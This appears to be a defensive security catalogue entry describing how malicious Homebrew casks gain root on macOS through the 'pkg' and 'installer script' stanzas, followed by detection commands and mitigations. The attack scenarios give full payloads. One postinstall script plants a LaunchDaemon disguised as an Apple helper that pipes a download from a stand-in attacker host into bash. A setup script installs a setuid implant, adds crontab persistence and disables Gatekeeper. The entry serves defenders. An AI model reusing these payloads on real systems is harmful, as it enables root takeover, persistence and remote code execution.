Cask pkg and installer script Privilege Escalation

brew Code Execution high macOS
The Cask DSL provides a `pkg` stanza (to install a macOS .pkg) and an `installer script:` stanza (to run an arbitrary executable). The `installer script:` artifact can explicitly request elevation with `sudo: true`; the `pkg` path can also lead to root code execution because macOS's Installer runs package scripts as root once the user authorizes installation. Because users are conditioned to type their password for application installers, a malicious cask — or a compromised cask update — can obtain privileged code execution through an install flow that looks routine. The `allow_untrusted: true` option on `pkg` relaxes installer certificate trust checks for the package; it is not a generic Gatekeeper bypass for arbitrary payloads.[1]

Prerequisites

  • Victim has admin rights on the Mac and uses `brew install --cask`
  • Attacker controls a cask in a tap the victim has added (homebrew/cask or third-party)
  • Victim authorizes the macOS authentication prompt during install

Attack Scenarios

pkg Stanza Installing an Attacker-Signed Package as Root

The cask points `pkg` at a `.pkg` the attacker ships. macOS's `installer(8)` runs the payload's preinstall/postinstall scripts as root with full disk access once the user authorizes installation. `allow_untrusted: true` tells the installer to accept a package with an untrusted signing certificate, increasing risk when users install casks from third-party taps.[1]

Malicious Cask using the pkg stanza
cask "mac-optimizer" do
  version "1.2.3"
  sha256 "0000000000000000000000000000000000000000000000000000000000000000"

  url "https://example.com/mac-optimizer-#{version}.pkg"
  name "Mac Optimizer"
  homepage "https://example.com/mac-optimizer"

  pkg "MacOptimizer-#{version}.pkg",
      allow_untrusted: true

  uninstall pkgutil: "com.example.macoptimizer"
end
Attacker-built .pkg with a postinstall script running as root
# scripts/postinstall inside the .pkg payload — runs as root at install time
#!/bin/bash
set -e
# Drop a LaunchDaemon (root persistence)
cat > /Library/LaunchDaemons/com.apple.softwareupdate.helper.plist <<'PLIST'
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0"><dict>
  <key>Label</key><string>com.apple.softwareupdate.helper</string>
  <key>ProgramArguments</key>
  <array><string>/bin/bash</string><string>-c</string>
  <string>curl -fsSL https://attacker.example.com/b | bash</string></array>
  <key>RunAtLoad</key><true/>
  <key>KeepAlive</key><true/>
</dict></plist>
PLIST
chown root:wheel /Library/LaunchDaemons/com.apple.softwareupdate.helper.plist
launchctl load -w /Library/LaunchDaemons/com.apple.softwareupdate.helper.plist
Victim install triggers a single admin prompt
brew install --cask mac-optimizer
# macOS prompts for admin credentials (looks like any .pkg install)
# The .pkg's postinstall runs as root and drops the LaunchDaemon

installer script: sudo: true Running Arbitrary Binary as Root

`installer script:` points at an arbitrary executable inside the cask payload and `sudo: true` promotes it to root. Unlike `pkg`, this path does not require building a signed .pkg — any shell script or Mach-O works. Attackers use this when targeting users who have disabled Gatekeeper or when distributing through internal taps.

Cask using installer script with sudo
cask "corp-cli" do
  version "4.5.6"
  sha256 "deadbeef" * 8
  url "https://internal.example.com/corp-cli-#{version}.tar.gz"

  installer script: {
    executable: "#{staged_path}/setup.sh",
    args:       ["--install", "--system"],
    sudo:       true
  }
end
setup.sh inside the tarball
#!/bin/bash
# Runs as root because of sudo: true
install -m 4755 /tmp/implant /usr/local/bin/corp-helper
echo "@reboot root /usr/local/bin/corp-helper >/dev/null 2>&1" >> /etc/crontab
# Disable Gatekeeper so future payloads are not prompted
spctl --master-disable

Silent Re-install After Remediation via Cask Upgrade

Users who discover the malicious cask and uninstall it via `brew uninstall --cask` remain exposed if they ever run `brew upgrade --cask` — a subsequent reinstall of the same name from the same tap re-triggers `pkg` / `installer script:` and regains root. The attacker only needs the tap to remain tapped.

Attack flow across remediation
# Day 1
brew install --cask mac-optimizer     # root persistence installed
# Day 2 — user removes the app
brew uninstall --cask mac-optimizer   # LaunchDaemon optionally remains
# Day 7 — any cask upgrade pass reinstalls
brew upgrade --cask                   # mac-optimizer pkg re-runs as root

Detection

Flag casks that use pkg, installer script, or sudo

Search cask source for stanzas that can run code as root. Most legitimate app-bundle casks use only an `app` stanza and have no need for `pkg`, `installer`, or `sudo: true`.

brew cat --cask mac-optimizer | \
  grep -nE "^\s*(pkg|installer)\b|sudo:\s*true|allow_untrusted"

Audit newly-written LaunchDaemons after cask installs

LaunchDaemons live in `/Library/LaunchDaemons` and run as root on boot. Any new plist there created during or shortly after `brew install --cask` is highly suspicious.

sudo find /Library/LaunchDaemons -type f -newermt "1 hour ago" -ls
# Compare running daemons to the set your fleet expects
launchctl list | awk '{print $3}' | sort -u

Capture installer(8) invocations from brew

macOS's unified log records every `installer` invocation. Filter for the parent brew process to spot when a cask runs a .pkg and with what script identifiers.

log show --last 1h --predicate 'process == "installer"' --info | \
  grep -E "PackageKit|Scripts|install-"

Mitigation

  • Run `brew cat --cask ` before install; reject or closely review any cask whose stanzas include `pkg` or `installer script:`, and treat `sudo: true` or `allow_untrusted` as elevated-risk signals[1]
  • Do not perform `brew install --cask` from an admin account; use a separate standard user and elevate deliberately
  • Require code-signed and notarized .pkg payloads — refuse `allow_untrusted: true` via policy
  • Monitor `/Library/LaunchDaemons` and `/Library/LaunchAgents` for plists created during brew operations
  • Review every cask upgrade's diff before allowing it to land (`HOMEBREW_NO_AUTO_UPDATE=1` then manual `brew update`)
  • For managed fleets, disable `brew install --cask` entirely and distribute apps via MDM

References

Historical Notes

  1. 30 April, 2026: Corrected the distinction between pkg and installer script behavior, clarified that sudo: true applies to installer script rather than pkg, and revised the allow_untrusted explanation to reflect installer certificate trust semantics rather than a broad Gatekeeper bypass. Sources: Homebrew Cask Cookbook — pkg stanza; Homebrew Cask Cookbook — installer stanza.